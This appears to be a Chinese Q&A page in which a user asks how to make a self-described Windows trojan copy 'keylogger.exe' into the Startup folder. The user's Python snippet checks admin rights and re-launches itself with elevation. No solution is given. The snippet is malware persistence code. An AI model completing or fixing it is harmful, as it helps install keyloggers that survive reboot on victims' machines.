尝试将文件复制到启动时权限被拒绝 - Python 和 auto-py-to-exe

问题描述

我正在创建一个简单的 Windows 特洛伊木马,用于教育目的。我正在努力将文件复制到启动。当从 CMD 执行该代码时,它按预期工作,但在转换为 exe 后,它停止工作,因为不会出现 UAC 弹出窗口。我尝试从 auto-py-to-exe 请求 UAC,但没有帮助。你知道如何让它工作吗?

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

if is_admin():
    shutil.copy(os.path.abspath("keylogger.exe"),r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp");
else:
    #treid but doesnt work as well# ctypes.windll.shell32.ShellExecuteW(None,"runas",sys.executable," ".join(sys.argv),None,1) 
    ctypes.windll.shell32.ShellExecuteW(None,u"runas",unicode(sys.executable),unicode(" ".join(sys.argv)),1)

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)